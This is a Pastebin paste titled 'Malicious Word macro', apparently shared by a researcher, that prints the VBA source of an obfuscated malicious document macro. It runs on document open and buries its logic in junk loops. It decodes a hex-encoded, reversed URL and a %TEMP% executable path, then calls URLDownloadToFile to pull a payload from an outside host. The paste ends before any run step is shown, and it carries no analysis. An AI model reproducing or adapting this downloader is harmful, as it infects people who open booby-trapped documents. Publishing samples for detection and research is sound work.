Advertisement
dynamoo

Malicious Word macro

Jan 13th, 2015
361
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. #If VBA7 Then
  10.     Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias _
  11.     "URLDownloadToFileA" (ByVal pCaller As LongPtr, _
  12.     ByVal szURL As String, _
  13.     ByVal szFileName As String, _
  14.     ByVal dwReserved As Long, _
  15.     ByVal lpfnCB As LongPtr) As LongPtr
  16. #Else
  17.     Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
  18.     "URLDownloadToFileA" (ByVal pCaller As Long, _
  19.     ByVal szURL As String, _
  20.     ByVal szFileName As String, _
  21.     ByVal dwReserved As Long, _
  22.     ByVal lpfnCB As Long) As Long
  23. #End If
  24.  
  25. Sub FUHJdfg()
  26.  
  27. Dim yQWgEVSx As Integer
  28.  
  29. Dim HTkQeNVI As Integer
  30.  
  31. Dim KvCmnuyY As Integer
  32. KvCmnuyY = 8
  33. Do While KvCmnuyY < 66
  34. DoEvents: KvCmnuyY = KvCmnuyY + 1
  35. Loop
  36.  
  37. HTkQeNVI = 6
  38. Do While HTkQeNVI < 96
  39.  
  40. Dim qjTGjKZI As Integer
  41. qjTGjKZI = 3
  42. Do While qjTGjKZI < 39
  43. DoEvents: qjTGjKZI = qjTGjKZI + 1
  44. Loop
  45.  
  46. DoEvents: HTkQeNVI = HTkQeNVI + 1
  47.  
  48. Dim fWvhmFjP As Integer
  49. fWvhmFjP = 3
  50. Do While fWvhmFjP < 63
  51. DoEvents: fWvhmFjP = fWvhmFjP + 1
  52. Loop
  53.  
  54. Loop
  55.  
  56.  
  57. Dim iIzaBMwe As Integer
  58. iIzaBMwe = 2
  59. Do While iIzaBMwe < 51
  60. DoEvents: iIzaBMwe = iIzaBMwe + 1
  61. Loop
  62.  
  63. yQWgEVSx = 8
  64. Do While yQWgEVSx < 89
  65.  
  66. Dim wVSyemTh As Integer
  67.  
  68. Dim WtYSAoJW As Integer
  69. WtYSAoJW = 9
  70. Do While WtYSAoJW < 35
  71. DoEvents: WtYSAoJW = WtYSAoJW + 1
  72. Loop
  73.  
  74. wVSyemTh = 2
  75. Do While wVSyemTh < 59
  76.  
  77. Dim zflDOalB As Integer
  78. zflDOalB = 8
  79. Do While zflDOalB < 23
  80. DoEvents: zflDOalB = zflDOalB + 1
  81. Loop
  82.  
  83. DoEvents: wVSyemTh = wVSyemTh + 1
  84.  
  85. Dim yKsfDCiz As Integer
  86. yKsfDCiz = 2
  87. Do While yKsfDCiz < 81
  88. DoEvents: yKsfDCiz = yKsfDCiz + 1
  89. Loop
  90.  
  91. Loop
  92.  
  93.  
  94. Dim daVhWGPy As Integer
  95. daVhWGPy = 3
  96. Do While daVhWGPy < 12
  97. DoEvents: daVhWGPy = daVhWGPy + 1
  98. Loop
  99.  
  100. DoEvents: yQWgEVSx = yQWgEVSx + 1
  101.  
  102. Dim sixjERXY As Integer
  103.  
  104. Dim vIaunYfl As Integer
  105. vIaunYfl = 3
  106. Do While vIaunYfl < 81
  107. DoEvents: vIaunYfl = vIaunYfl + 1
  108. Loop
  109.  
  110. sixjERXY = 3
  111. Do While sixjERXY < 94
  112.  
  113. Dim YSpczAzE As Integer
  114. YSpczAzE = 6
  115. Do While YSpczAzE < 12
  116. DoEvents: YSpczAzE = YSpczAzE + 1
  117. Loop
  118.  
  119. DoEvents: sixjERXY = sixjERXY + 1
  120.  
  121. Dim PjeVycHY As Integer
  122. PjeVycHY = 5
  123. Do While PjeVycHY < 55
  124. DoEvents: PjeVycHY = PjeVycHY + 1
  125. Loop
  126.  
  127. Loop
  128.  
  129.  
  130. Dim lhiYwDfi As Integer
  131. lhiYwDfi = 2
  132. Do While lhiYwDfi < 25
  133. DoEvents: lhiYwDfi = lhiYwDfi + 1
  134. Loop
  135.  
  136. Loop
  137.  
  138.  
  139. Dim KmfaCzHl As Integer
  140.  
  141. Dim XVsgOszo As Integer
  142. XVsgOszo = 7
  143. Do While XVsgOszo < 72
  144. DoEvents: XVsgOszo = XVsgOszo + 1
  145. Loop
  146.  
  147. KmfaCzHl = 8
  148. Do While KmfaCzHl < 66
  149.  
  150. Dim ramTquJl As Integer
  151. ramTquJl = 1
  152. Do While ramTquJl < 82
  153. DoEvents: ramTquJl = ramTquJl + 1
  154. Loop
  155.  
  156. DoEvents: KmfaCzHl = KmfaCzHl + 1
  157.  
  158. Dim waxxLGei As Integer
  159. waxxLGei = 2
  160. Do While waxxLGei < 51
  161. DoEvents: waxxLGei = waxxLGei + 1
  162. Loop
  163.  
  164. Loop
  165.  
  166.  
  167. Dim JbGrBwgr As Integer
  168. JbGrBwgr = 6
  169. Do While JbGrBwgr < 95
  170. DoEvents: JbGrBwgr = JbGrBwgr + 1
  171. Loop
  172.  
  173. pHJgdsf
  174. End Sub
  175. Sub AutoOpen()
  176.  
  177. Dim GIppUgiy As Integer
  178.  
  179. Dim XXcfDXsL As Integer
  180.  
  181. Dim OxTHiUwd As Integer
  182. OxTHiUwd = 5
  183. Do While OxTHiUwd < 46
  184. DoEvents: OxTHiUwd = OxTHiUwd + 1
  185. Loop
  186.  
  187. XXcfDXsL = 9
  188. Do While XXcfDXsL < 33
  189.  
  190. Dim ljyFJNtW As Integer
  191. ljyFJNtW = 2
  192. Do While ljyFJNtW < 25
  193. DoEvents: ljyFJNtW = ljyFJNtW + 1
  194. Loop
  195.  
  196. DoEvents: XXcfDXsL = XXcfDXsL + 1
  197.  
  198. Dim xMBgWXLC As Integer
  199. xMBgWXLC = 5
  200. Do While xMBgWXLC < 83
  201. DoEvents: xMBgWXLC = xMBgWXLC + 1
  202. Loop
  203.  
  204. Loop
  205.  
  206.  
  207. Dim lsEKqLvV As Integer
  208. lsEKqLvV = 2
  209. Do While lsEKqLvV < 52
  210. DoEvents: lsEKqLvV = lsEKqLvV + 1
  211. Loop
  212.  
  213. GIppUgiy = 6
  214. Do While GIppUgiy < 96
  215.  
  216. Dim ZogViltY As Integer
  217.  
  218. Dim fWntkBnT As Integer
  219. fWntkBnT = 1
  220. Do While fWntkBnT < 48
  221. DoEvents: fWntkBnT = fWntkBnT + 1
  222. Loop
  223.  
  224. ZogViltY = 6
  225. Do While ZogViltY < 96
  226.  
  227. Dim OlKQcYSA As Integer
  228. OlKQcYSA = 5
  229. Do While OlKQcYSA < 17
  230. DoEvents: OlKQcYSA = OlKQcYSA + 1
  231. Loop
  232.  
  233. DoEvents: ZogViltY = ZogViltY + 1
  234.  
  235. Dim gFeLONwa As Integer
  236. gFeLONwa = 3
  237. Do While gFeLONwa < 34
  238. DoEvents: gFeLONwa = gFeLONwa + 1
  239. Loop
  240.  
  241. Loop
  242.  
  243.  
  244. Dim drDuCtZw As Integer
  245. drDuCtZw = 1
  246. Do While drDuCtZw < 93
  247. DoEvents: drDuCtZw = drDuCtZw + 1
  248. Loop
  249.  
  250. DoEvents: GIppUgiy = GIppUgiy + 1
  251.  
  252. Dim YDivsgLI As Integer
  253.  
  254. Dim GDUAwElg As Integer
  255. GDUAwElg = 8
  256. Do While GDUAwElg < 22
  257. DoEvents: GDUAwElg = GDUAwElg + 1
  258. Loop
  259.  
  260. YDivsgLI = 4
  261. Do While YDivsgLI < 49
  262.  
  263. Dim SekGOIbI As Integer
  264. SekGOIbI = 7
  265. Do While SekGOIbI < 24
  266. DoEvents: SekGOIbI = SekGOIbI + 1
  267. Loop
  268.  
  269. DoEvents: YDivsgLI = YDivsgLI + 1
  270.  
  271. Dim llBsgtmg As Integer
  272. llBsgtmg = 2
  273. Do While llBsgtmg < 25
  274. DoEvents: llBsgtmg = llBsgtmg + 1
  275. Loop
  276.  
  277. Loop
  278.  
  279.  
  280. Dim EeJHuWBm As Integer
  281. EeJHuWBm = 6
  282. Do While EeJHuWBm < 43
  283. DoEvents: EeJHuWBm = EeJHuWBm + 1
  284. Loop
  285.  
  286. Loop
  287.  
  288.  
  289. Dim DXMnluwD As Integer
  290.  
  291. Dim SzlUqHPM As Integer
  292. SzlUqHPM = 7
  293. Do While SzlUqHPM < 53
  294. DoEvents: SzlUqHPM = SzlUqHPM + 1
  295. Loop
  296.  
  297. DXMnluwD = 5
  298. Do While DXMnluwD < 52
  299.  
  300. Dim simAYlSQ As Integer
  301. simAYlSQ = 3
  302. Do While simAYlSQ < 37
  303. DoEvents: simAYlSQ = simAYlSQ + 1
  304. Loop
  305.  
  306. DoEvents: DXMnluwD = DXMnluwD + 1
  307.  
  308. Dim tCGBwbLC As Integer
  309. tCGBwbLC = 2
  310. Do While tCGBwbLC < 54
  311. DoEvents: tCGBwbLC = tCGBwbLC + 1
  312. Loop
  313.  
  314. Loop
  315.  
  316.  
  317. Dim ReHLJzWF As Integer
  318. ReHLJzWF = 6
  319. Do While ReHLJzWF < 95
  320. DoEvents: ReHLJzWF = ReHLJzWF + 1
  321. Loop
  322.  
  323.     FUHJdfg
  324. End Sub
  325. Sub Workbook_Open()
  326.  
  327. Dim vTcyQREG As Integer
  328.  
  329. Dim yDOluHAr As Integer
  330.  
  331. Dim UIZBIyXM As Integer
  332. UIZBIyXM = 7
  333. Do While UIZBIyXM < 48
  334. DoEvents: UIZBIyXM = UIZBIyXM + 1
  335. Loop
  336.  
  337. yDOluHAr = 8
  338. Do While yDOluHAr < 37
  339.  
  340. Dim iUyKmLSq As Integer
  341. iUyKmLSq = 2
  342. Do While iUyKmLSq < 98
  343. DoEvents: iUyKmLSq = iUyKmLSq + 1
  344. Loop
  345.  
  346. DoEvents: yDOluHAr = yDOluHAr + 1
  347.  
  348. Dim axbhpBLx As Integer
  349. axbhpBLx = 8
  350. Do While axbhpBLx < 24
  351. DoEvents: axbhpBLx = axbhpBLx + 1
  352. Loop
  353.  
  354. Loop
  355.  
  356.  
  357. Dim zlLHDNHQ As Integer
  358. zlLHDNHQ = 8
  359. Do While zlLHDNHQ < 47
  360. DoEvents: zlLHDNHQ = zlLHDNHQ + 1
  361. Loop
  362.  
  363. vTcyQREG = 5
  364. Do While vTcyQREG < 38
  365.  
  366. Dim gJKOIQhg As Integer
  367.  
  368. Dim gMAqALEs As Integer
  369. gMAqALEs = 3
  370. Do While gMAqALEs < 73
  371. DoEvents: gMAqALEs = gMAqALEs + 1
  372. Loop
  373.  
  374. gJKOIQhg = 1
  375. Do While gJKOIQhg < 72
  376.  
  377. Dim hGMQrMnn As Integer
  378. hGMQrMnn = 3
  379. Do While hGMQrMnn < 72
  380. DoEvents: hGMQrMnn = hGMQrMnn + 1
  381. Loop
  382.  
  383. DoEvents: gJKOIQhg = gJKOIQhg + 1
  384.  
  385. Dim xWLGJFjR As Integer
  386. xWLGJFjR = 2
  387. Do While xWLGJFjR < 21
  388. DoEvents: xWLGJFjR = xWLGJFjR + 1
  389. Loop
  390.  
  391. Loop
  392.  
  393.  
  394. Dim cJdhmGdL As Integer
  395. cJdhmGdL = 2
  396. Do While cJdhmGdL < 21
  397. DoEvents: cJdhmGdL = cJdhmGdL + 1
  398. Loop
  399.  
  400. DoEvents: vTcyQREG = vTcyQREG + 1
  401.  
  402. Dim kwQpSUrk As Integer
  403.  
  404. Dim WoqbIvPe As Integer
  405. WoqbIvPe = 6
  406. Do While WoqbIvPe < 12
  407. DoEvents: WoqbIvPe = WoqbIvPe + 1
  408. Loop
  409.  
  410. kwQpSUrk = 4
  411. Do While kwQpSUrk < 41
  412.  
  413. Dim WtRNsbYk As Integer
  414. WtRNsbYk = 7
  415. Do While WtRNsbYk < 11
  416. DoEvents: WtRNsbYk = WtRNsbYk + 1
  417. Loop
  418.  
  419. DoEvents: kwQpSUrk = kwQpSUrk + 1
  420.  
  421. Dim eqErBlxw As Integer
  422. eqErBlxw = 1
  423. Do While eqErBlxw < 84
  424. DoEvents: eqErBlxw = eqErBlxw + 1
  425. Loop
  426.  
  427. Loop
  428.  
  429.  
  430. Dim talMXcYH As Integer
  431. talMXcYH = 2
  432. Do While talMXcYH < 26
  433. DoEvents: talMXcYH = talMXcYH + 1
  434. Loop
  435.  
  436. Loop
  437.  
  438.  
  439. Dim DBUZvqri As Integer
  440.  
  441. Dim pwyFFgBz As Integer
  442. pwyFFgBz = 9
  443. Do While pwyFFgBz < 96
  444. DoEvents: pwyFFgBz = pwyFFgBz + 1
  445. Loop
  446.  
  447. DBUZvqri = 5
  448. Do While DBUZvqri < 52
  449.  
  450. Dim DedqKHeW As Integer
  451. DedqKHeW = 5
  452. Do While DedqKHeW < 53
  453. DoEvents: DedqKHeW = DedqKHeW + 1
  454. Loop
  455.  
  456. DoEvents: DBUZvqri = DBUZvqri + 1
  457.  
  458. Dim iOBhGltE As Integer
  459. iOBhGltE = 2
  460. Do While iOBhGltE < 51
  461. DoEvents: iOBhGltE = iOBhGltE + 1
  462. Loop
  463.  
  464. Loop
  465.  
  466.  
  467. Dim VQhevYYi As Integer
  468. VQhevYYi = 7
  469. Do While VQhevYYi < 17
  470. DoEvents: VQhevYYi = VQhevYYi + 1
  471. Loop
  472.  
  473.     FUHJdfg
  474. End Sub
  475. Sub pHJgdsf()
  476.  
  477. Dim ocijoVqR As Integer
  478.  
  479. Dim muaNpILj As Integer
  480.  
  481. Dim esccODLm As Integer
  482. esccODLm = 1
  483. Do While esccODLm < 18
  484. DoEvents: esccODLm = esccODLm + 1
  485. Loop
  486.  
  487. muaNpILj = 4
  488. Do While muaNpILj < 85
  489.  
  490. Dim MfFqkamV As Integer
  491. MfFqkamV = 6
  492. Do While MfFqkamV < 65
  493. DoEvents: MfFqkamV = MfFqkamV + 1
  494. Loop
  495.  
  496. DoEvents: muaNpILj = muaNpILj + 1
  497.  
  498. Dim alDftWqz As Integer
  499. alDftWqz = 1
  500. Do While alDftWqz < 48
  501. DoEvents: alDftWqz = alDftWqz + 1
  502. Loop
  503.  
  504. Loop
  505.  
  506.  
  507. Dim LmoPQjgB As Integer
  508. LmoPQjgB = 9
  509. Do While LmoPQjgB < 38
  510. DoEvents: LmoPQjgB = LmoPQjgB + 1
  511. Loop
  512.  
  513. ocijoVqR = 9
  514. Do While ocijoVqR < 58
  515.  
  516. Dim eyyIbBjL As Integer
  517.  
  518. Dim GMVnTZGM As Integer
  519. GMVnTZGM = 5
  520. Do While GMVnTZGM < 98
  521. DoEvents: GMVnTZGM = GMVnTZGM + 1
  522. Loop
  523.  
  524. eyyIbBjL = 8
  525. Do While eyyIbBjL < 21
  526.  
  527. Dim LjcRKADp As Integer
  528. LjcRKADp = 6
  529. Do While LjcRKADp < 13
  530. DoEvents: LjcRKADp = LjcRKADp + 1
  531. Loop
  532.  
  533. DoEvents: eyyIbBjL = eyyIbBjL + 1
  534.  
  535. Dim gKTVpiaB As Integer
  536. gKTVpiaB = 3
  537. Do While gKTVpiaB < 11
  538. DoEvents: gKTVpiaB = gKTVpiaB + 1
  539. Loop
  540.  
  541. Loop
  542.  
  543.  
  544. Dim lhtawuNg As Integer
  545. lhtawuNg = 4
  546. Do While lhtawuNg < 25
  547. DoEvents: lhtawuNg = lhtawuNg + 1
  548. Loop
  549.  
  550. DoEvents: ocijoVqR = ocijoVqR + 1
  551.  
  552. Dim uOBoEWtW As Integer
  553.  
  554. Dim wrrtupiJ As Integer
  555. wrrtupiJ = 5
  556. Do While wrrtupiJ < 85
  557. DoEvents: wrrtupiJ = wrrtupiJ + 1
  558. Loop
  559.  
  560. uOBoEWtW = 2
  561. Do While uOBoEWtW < 98
  562.  
  563. Dim FXSvCWEL As Integer
  564. FXSvCWEL = 8
  565. Do While FXSvCWEL < 23
  566. DoEvents: FXSvCWEL = FXSvCWEL + 1
  567. Loop
  568.  
  569. DoEvents: uOBoEWtW = uOBoEWtW + 1
  570.  
  571. Dim QhuGvKpS As Integer
  572. QhuGvKpS = 5
  573. Do While QhuGvKpS < 55
  574. DoEvents: QhuGvKpS = QhuGvKpS + 1
  575. Loop
  576.  
  577. Loop
  578.  
  579.  
  580. Dim kZVbLgrb As Integer
  581. kZVbLgrb = 1
  582. Do While kZVbLgrb < 17
  583. DoEvents: kZVbLgrb = kZVbLgrb + 1
  584. Loop
  585.  
  586. Loop
  587.  
  588.  
  589. Dim ZojHOAjJ As Integer
  590.  
  591. Dim TBzoaqru As Integer
  592. TBzoaqru = 6
  593. Do While TBzoaqru < 42
  594. DoEvents: TBzoaqru = TBzoaqru + 1
  595. Loop
  596.  
  597. ZojHOAjJ = 6
  598. Do While ZojHOAjJ < 34
  599.  
  600. Dim sdLLwICM As Integer
  601. sdLLwICM = 3
  602. Do While sdLLwICM < 94
  603. DoEvents: sdLLwICM = sdLLwICM + 1
  604. Loop
  605.  
  606. DoEvents: ZojHOAjJ = ZojHOAjJ + 1
  607.  
  608. Dim oElLMSyu As Integer
  609. oElLMSyu = 9
  610. Do While oElLMSyu < 36
  611. DoEvents: oElLMSyu = oElLMSyu + 1
  612. Loop
  613.  
  614. Loop
  615.  
  616.  
  617. Dim HSYKIssa As Integer
  618. HSYKIssa = 6
  619. Do While HSYKIssa < 22
  620. DoEvents: HSYKIssa = HSYKIssa + 1
  621. Loop
  622.  
  623.     pGhdsffd = HexToString(StrReverse("568756E2E69626F237A6F2A736E297C6E6F63747560727F666F2F2A307474786"))
  624.  
  625. Dim VYKnOiZW As Integer
  626.  
  627. Dim EzMRNZsf As Integer
  628.  
  629. Dim ZlsZaHTR As Integer
  630. ZlsZaHTR = 3
  631. Do While ZlsZaHTR < 36
  632. DoEvents: ZlsZaHTR = ZlsZaHTR + 1
  633. Loop
  634.  
  635. EzMRNZsf = 4
  636. Do While EzMRNZsf < 94
  637.  
  638. Dim cCIKlzoq As Integer
  639. cCIKlzoq = 2
  640. Do While cCIKlzoq < 22
  641. DoEvents: cCIKlzoq = cCIKlzoq + 1
  642. Loop
  643.  
  644. DoEvents: EzMRNZsf = EzMRNZsf + 1
  645.  
  646. Dim mfiLJykx As Integer
  647. mfiLJykx = 4
  648. Do While mfiLJykx < 86
  649. DoEvents: mfiLJykx = mfiLJykx + 1
  650. Loop
  651.  
  652. Loop
  653.  
  654.  
  655. Dim EdDvDrkF As Integer
  656. EdDvDrkF = 3
  657. Do While EdDvDrkF < 73
  658. DoEvents: EdDvDrkF = EdDvDrkF + 1
  659. Loop
  660.  
  661. VYKnOiZW = 9
  662. Do While VYKnOiZW < 92
  663.  
  664. Dim NAssyocp As Integer
  665.  
  666. Dim iPPQFITz As Integer
  667. iPPQFITz = 9
  668. Do While iPPQFITz < 37
  669. DoEvents: iPPQFITz = iPPQFITz + 1
  670. Loop
  671.  
  672. NAssyocp = 1
  673. Do While NAssyocp < 49
  674.  
  675. Dim jQpIDcrN As Integer
  676. jQpIDcrN = 1
  677. Do While jQpIDcrN < 71
  678. DoEvents: jQpIDcrN = jQpIDcrN + 1
  679. Loop
  680.  
  681. DoEvents: NAssyocp = NAssyocp + 1
  682.  
  683. Dim fzPIsZsd As Integer
  684. fzPIsZsd = 3
  685. Do While fzPIsZsd < 36
  686. DoEvents: fzPIsZsd = fzPIsZsd + 1
  687. Loop
  688.  
  689. Loop
  690.  
  691.  
  692. Dim VJUWhCia As Integer
  693. VJUWhCia = 7
  694. Do While VJUWhCia < 71
  695. DoEvents: VJUWhCia = VJUWhCia + 1
  696. Loop
  697.  
  698. DoEvents: VYKnOiZW = VYKnOiZW + 1
  699.  
  700. Dim TXxlkZuO As Integer
  701.  
  702. Dim TVriKcdz As Integer
  703. TVriKcdz = 6
  704. Do While TVriKcdz < 94
  705. DoEvents: TVriKcdz = TVriKcdz + 1
  706. Loop
  707.  
  708. TXxlkZuO = 4
  709. Do While TXxlkZuO < 41
  710.  
  711. Dim hDamXLiJ As Integer
  712. hDamXLiJ = 4
  713. Do While hDamXLiJ < 72
  714. DoEvents: hDamXLiJ = hDamXLiJ + 1
  715. Loop
  716.  
  717. DoEvents: TXxlkZuO = TXxlkZuO + 1
  718.  
  719. Dim ehzkyuOd As Integer
  720. ehzkyuOd = 8
  721. Do While ehzkyuOd < 85
  722. DoEvents: ehzkyuOd = ehzkyuOd + 1
  723. Loop
  724.  
  725. Loop
  726.  
  727.  
  728. Dim zcdEQxRy As Integer
  729. zcdEQxRy = 1
  730. Do While zcdEQxRy < 86
  731. DoEvents: zcdEQxRy = zcdEQxRy + 1
  732. Loop
  733.  
  734. Loop
  735.  
  736.  
  737. Dim gHChaXHk As Integer
  738.  
  739. Dim oUVDfABV As Integer
  740. oUVDfABV = 2
  741. Do While oUVDfABV < 98
  742. DoEvents: oUVDfABV = oUVDfABV + 1
  743. Loop
  744.  
  745. gHChaXHk = 1
  746. Do While gHChaXHk < 19
  747.  
  748. Dim KAvPVMIY As Integer
  749. KAvPVMIY = 8
  750. Do While KAvPVMIY < 82
  751. DoEvents: KAvPVMIY = KAvPVMIY + 1
  752. Loop
  753.  
  754. DoEvents: gHChaXHk = gHChaXHk + 1
  755.  
  756. Dim kEDYVvVx As Integer
  757. kEDYVvVx = 4
  758. Do While kEDYVvVx < 79
  759. DoEvents: kEDYVvVx = kEDYVvVx + 1
  760. Loop
  761.  
  762. Loop
  763.  
  764.  
  765. Dim elPLzMLq As Integer
  766. elPLzMLq = 1
  767. Do While elPLzMLq < 47
  768. DoEvents: elPLzMLq = elPLzMLq + 1
  769. Loop
  770.  
  771.     sUdsfsdf = Environ(HexToString("54454D50")) & HexToString("5C6643434864666473662E657865")
  772.  
  773. Dim zqQzDrjC As Integer
  774.  
  775. Dim gQmmwFpm As Integer
  776.  
  777. Dim QkJsRhRf As Integer
  778. QkJsRhRf = 5
  779. Do While QkJsRhRf < 55
  780. DoEvents: QkJsRhRf = QkJsRhRf + 1
  781. Loop
  782.  
  783. gQmmwFpm = 3
  784. Do While gQmmwFpm < 71
  785.  
  786. Dim CCyyGown As Integer
  787. CCyyGown = 9
  788. Do While CCyyGown < 72
  789. DoEvents: CCyyGown = CCyyGown + 1
  790. Loop
  791.  
  792. DoEvents: gQmmwFpm = gQmmwFpm + 1
  793.  
  794. Dim xNlzHFQj As Integer
  795. xNlzHFQj = 2
  796. Do While xNlzHFQj < 69
  797. DoEvents: xNlzHFQj = xNlzHFQj + 1
  798. Loop
  799.  
  800. Loop
  801.  
  802.  
  803. Dim ORIWaUAZ As Integer
  804. ORIWaUAZ = 4
  805. Do While ORIWaUAZ < 86
  806. DoEvents: ORIWaUAZ = ORIWaUAZ + 1
  807. Loop
  808.  
  809. zqQzDrjC = 1
  810. Do While zqQzDrjC < 46
  811.  
  812. Dim dNtIOLjG As Integer
  813.  
  814. Dim sSJPGJbo As Integer
  815. sSJPGJbo = 3
  816. Do While sSJPGJbo < 62
  817. DoEvents: sSJPGJbo = sSJPGJbo + 1
  818. Loop
  819.  
  820. dNtIOLjG = 1
  821. Do While dNtIOLjG < 49
  822.  
  823. Dim bdZLmDAA As Integer
  824. bdZLmDAA = 5
  825. Do While bdZLmDAA < 86
  826. DoEvents: bdZLmDAA = bdZLmDAA + 1
  827. Loop
  828.  
  829. DoEvents: dNtIOLjG = dNtIOLjG + 1
  830.  
  831. Dim sGZHTaeC As Integer
  832. sGZHTaeC = 9
  833. Do While sGZHTaeC < 99
  834. DoEvents: sGZHTaeC = sGZHTaeC + 1
  835. Loop
  836.  
  837. Loop
  838.  
  839.  
  840. Dim QGaNlYjW As Integer
  841. QGaNlYjW = 5
  842. Do While QGaNlYjW < 59
  843. DoEvents: QGaNlYjW = QGaNlYjW + 1
  844. Loop
  845.  
  846. DoEvents: zqQzDrjC = zqQzDrjC + 1
  847.  
  848. Dim KmhHMdNg As Integer
  849.  
  850. Dim dTmkFpbL As Integer
  851. dTmkFpbL = 1
  852. Do While dTmkFpbL < 46
  853. DoEvents: dTmkFpbL = dTmkFpbL + 1
  854. Loop
  855.  
  856. KmhHMdNg = 8
  857. Do While KmhHMdNg < 66
  858.  
  859. Dim DYLAEGFJ As Integer
  860. DYLAEGFJ = 5
  861. Do While DYLAEGFJ < 86
  862. DoEvents: DYLAEGFJ = DYLAEGFJ + 1
  863. Loop
  864.  
  865. DoEvents: KmhHMdNg = KmhHMdNg + 1
  866.  
  867. Dim nrhDiyAl As Integer
  868. nrhDiyAl = 5
  869. Do While nrhDiyAl < 33
  870. DoEvents: nrhDiyAl = nrhDiyAl + 1
  871. Loop
  872.  
  873. Loop
  874.  
  875.  
  876. Dim fbXfnxde As Integer
  877. fbXfnxde = 3
  878. Do While fbXfnxde < 17
  879. DoEvents: fbXfnxde = fbXfnxde + 1
  880. Loop
  881.  
  882. Loop
  883.  
  884.  
  885. Dim GPBrikuI As Integer
  886.  
  887. Dim YxublkgQ As Integer
  888. YxublkgQ = 4
  889. Do While YxublkgQ < 46
  890. DoEvents: YxublkgQ = YxublkgQ + 1
  891. Loop
  892.  
  893. GPBrikuI = 8
  894. Do While GPBrikuI < 58
  895.  
  896. Dim SDiAXAzn As Integer
  897. SDiAXAzn = 5
  898. Do While SDiAXAzn < 59
  899. DoEvents: SDiAXAzn = SDiAXAzn + 1
  900. Loop
  901.  
  902. DoEvents: GPBrikuI = GPBrikuI + 1
  903.  
  904. Dim DYDrtRsG As Integer
  905. DYDrtRsG = 8
  906. Do While DYDrtRsG < 21
  907. DoEvents: DYDrtRsG = DYDrtRsG + 1
  908. Loop
  909.  
  910. Loop
  911.  
  912.  
  913. Dim rDinBxtz As Integer
  914. rDinBxtz = 1
  915. Do While rDinBxtz < 52
  916. DoEvents: rDinBxtz = rDinBxtz + 1
  917. Loop
  918.  
  919.     sHVUdsf = URLDownloadToFile(0&, pGhdsffd, sUdsfsdf, 0&, 0&)
  920.    Dim eFJGdsff
  921.  
  922. Dim olveWXLz As Integer
  923.  
  924. Dim PglROAmx As Integer
  925.  
  926. Dim BgJFkDMh As Integer
  927. BgJFkDMh = 7
  928. Do While BgJFkDMh < 13
  929. DoEvents: BgJFkDMh = BgJFkDMh + 1
  930. Loop
  931.  
  932. PglROAmx = 7
  933. Do While PglROAmx < 78
  934.  
  935. Dim gwsqdTDE As Integer
  936. gwsqdTDE = 1
  937. Do While gwsqdTDE < 78
  938. DoEvents: gwsqdTDE = gwsqdTDE + 1
  939. Loop
  940.  
  941. DoEvents: PglROAmx = PglROAmx + 1
  942.  
  943. Dim EFRFTkox As Integer
  944. EFRFTkox = 6
  945. Do While EFRFTkox < 64
  946. DoEvents: EFRFTkox = EFRFTkox + 1
  947. Loop
  948.  
  949. Loop
  950.  
  951.  
  952. Dim mQjHUUCu As Integer
  953. mQjHUUCu = 2
  954. Do While mQjHUUCu < 29
  955. DoEvents: mQjHUUCu = mQjHUUCu + 1
  956. Loop
  957.  
  958. olveWXLz = 2
  959. Do While olveWXLz < 67
  960.  
  961. Dim WBqonkBA As Integer
  962.  
  963. Dim JoSgyIZp As Integer
  964. JoSgyIZp = 6
  965. Do While JoSgyIZp < 64
  966. DoEvents: JoSgyIZp = JoSgyIZp + 1
  967. Loop
  968.  
  969. WBqonkBA = 7
  970. Do While WBqonkBA < 72
  971.  
  972. Dim OyvjiVjW As Integer
  973. OyvjiVjW = 4
  974. Do While OyvjiVjW < 29
  975. DoEvents: OyvjiVjW = OyvjiVjW + 1
  976. Loop
  977.  
  978. DoEvents: WBqonkBA = WBqonkBA + 1
  979.  
  980. Dim sGxnvbwY As Integer
  981. sGxnvbwY = 9
  982. Do While sGxnvbwY < 48
  983. DoEvents: sGxnvbwY = sGxnvbwY + 1
  984. Loop
  985.  
  986. Loop
  987.  
  988.  
  989. Dim HjNdCeST As Integer
  990. HjNdCeST = 6
  991. Do While HjNdCeST < 93
  992. DoEvents: HjNdCeST = HjNdCeST + 1
  993. Loop
  994.  
  995. DoEvents: olveWXLz = olveWXLz + 1
  996.  
  997. Dim nlxhSQIz As Integer
  998.  
  999. Dim qBTFlQeU As Integer
  1000. qBTFlQeU = 3
  1001. Do While qBTFlQeU < 92
  1002. DoEvents: qBTFlQeU = qBTFlQeU + 1
  1003. Loop
  1004.  
  1005. nlxhSQIz = 5
  1006. Do While nlxhSQIz < 97
  1007.  
  1008. Dim hkniBDfr As Integer
  1009. hkniBDfr = 4
  1010. Do While hkniBDfr < 39
  1011. DoEvents: hkniBDfr = hkniBDfr + 1
  1012. Loop
  1013.  
  1014. DoEvents: nlxhSQIz = nlxhSQIz + 1
  1015.  
  1016. Dim ijrXdeeU As Integer
  1017. ijrXdeeU = 2
  1018. Do While ijrXdeeU < 57
  1019. DoEvents: ijrXdeeU = ijrXdeeU + 1
  1020. Loop
  1021.  
  1022. Loop
  1023.  
  1024.  
  1025. Dim GcxTVPQM As Integer
  1026. GcxTVPQM = 8
  1027. Do While GcxTVPQM < 28
  1028. DoEvents: GcxTVPQM = GcxTVPQM + 1
  1029. Loop
  1030.  
  1031. Loop
  1032.  
  1033.  
  1034. Dim SrgMEZdu As Integer
  1035.  
  1036. Dim ZVTClszq As Integer
  1037. ZVTClszq = 6
  1038. Do While ZVTClszq < 94
  1039. DoEvents: ZVTClszq = ZVTClszq + 1
  1040. Loop
  1041.  
  1042. SrgMEZdu = 7
  1043. Do While SrgMEZdu < 25
  1044.  
  1045. Dim CYyXXzCb As Integer
  1046. CYyXXzCb = 7
  1047. Do While CYyXXzCb < 16
  1048. DoEvents: CYyXXzCb = CYyXXzCb + 1
  1049. Loop
  1050.  
  1051. DoEvents: SrgMEZdu = SrgMEZdu + 1
  1052.  
  1053. Dim bhrtdZeq As Integer
  1054. bhrtdZeq = 5
  1055. Do While bhrtdZeq < 35
  1056. DoEvents: bhrtdZeq = bhrtdZeq + 1
  1057. Loop
  1058.  
